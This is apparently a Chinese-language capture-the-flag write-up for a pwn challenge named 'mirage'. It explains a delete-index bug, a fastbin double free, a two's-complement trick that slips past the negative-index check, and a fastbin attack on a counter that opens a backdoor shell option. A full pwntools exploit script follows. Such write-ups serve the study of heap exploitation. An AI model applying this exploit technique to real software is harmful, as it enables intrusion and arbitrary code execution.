Mirage
首先,我們檢查一下程序的保護機制
然後,我們用IDA分析一下
看似複雜,但是我們的關注點在這裏
當我們的初始化數據包滿足條件,就能顯示出菜單。
一個經典的增刪查程序
Delete操作裏有兩個漏洞,一個是下標可以負向越界,另一個是對於下標大於46的,堆指針會被保留在數組裏
而程序實際可以創建到下標48處(即49個堆),
那麼,對於下標爲47的堆,可以被我們double free,由於都是fastbin範圍的塊,我們需要讓fastbin形成循環單鏈表。因此,我們delete(47)、delete(0)、delete(46)即可。
爲什麼第三個是delete(46),因爲我們delete(0)後,原先在47位置的堆指針賦值到了46處。
程序在功能5有一個後門
不過需要chunk_number+8處數據滿足條件。因此,我們用fastbin attack來攻擊chunk_number。
我們控制chunk_number在0x20~0x2F的範圍,使它僞造成一個chunk的size,這樣,我們就能把它鏈接到之前的fastbin鏈表裏,通過申請,就能申請到此處。
爲了讓chunk_number減少2個,但又不往fastbin裏面新增chunk,我們可以delete()兩個個空指針。於是我們執行兩次的delete(-2)
不過,我們直接輸入-2是不行的
因爲負號會被檢測到,由此,我們採用補碼的形式傳入即可
- #-2處是空的,free()空指針不會出錯,我們可以讓count減去2
- for i in range(2): #騰出兩個空間
- #即delete(-2)
- delete(0x100000000-2)
然而,當我們delete(-2)後,變成這樣了
有堆的地址寫到了fake_chunk的size的區域,如果把它鏈接到0x20的fastbin,申請看似會出錯。
然而,事實是不會出錯。這是怎麼回事??
我們來做個試驗
編譯這段c語言代碼,發現堆成功申請到目標地址處
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
printf("uint size=%d\n",sizeof(unsigned int));
char *p1 = (char *)malloc(0x10);
char *p2 = (char *)malloc(0x10);
free(p2);
free(p1);
*((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F;
char *p3 = (char *)malloc(0x10);
char *p4 = (char *)malloc(0x10);
strcat(p2,"P4P4P4P");
printf("*p4=%s,*p2=%s",p4,p2);
return 0;
}
我們發現,size域高4字節數據對僞造的fastbin沒有影響。
我們來看看glibc的源碼
- /* offset 2 to use otherwise unindexable first 2 bins */
- #define fastbin_index(sz) \
- ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
注意到size被強制轉換爲unsigned int後再進行的計算。而unsigned int爲4字節。這就解釋的通了。這也是我的新發現。
綜上,我們完整的exp腳本
#coding:utf8
from pwn import *
sh = process('./mirage')
chunk_number_addr = 0x60514C
def init_connection():
sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big'))
def create(content):
sh.sendlineafter('> ','1')
sh.sendafter('content: ',content)
def show(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('id: ',str(index))
def delete(index):
sh.sendlineafter('> ','3')
s = str(index)
#sh.sendafter('id: ',s)
sh.sendlineafter('id: ',str(index))
init_connection()
for i in range(49):
create('a'*0x4)
#形成雙向鏈表
delete(47)
delete(0)
#delete 0 後,原來47的位置的指針移動到了46
delete(46)
#-2處是空的,free()空指針不會出錯,我們可以讓count減去2
for i in range(2): #騰出兩個空間
#即delete(-2)
delete(0x100000000-2)
raw_input()
#將chunk_number_addr處的空間鏈入0x20大小的fastbin
#爲了將chunk_number處的空間鏈入0x20大小的fastbin,我們需要讓chunk_number接近0x20僞裝成size
create(p32(chunk_number_addr - 0x8))
create('a'*0x4)
create('a'*0x4)
create(p32(0x100000000-17))
#getshell
sh.sendlineafter('> ','5')
sh.interactive()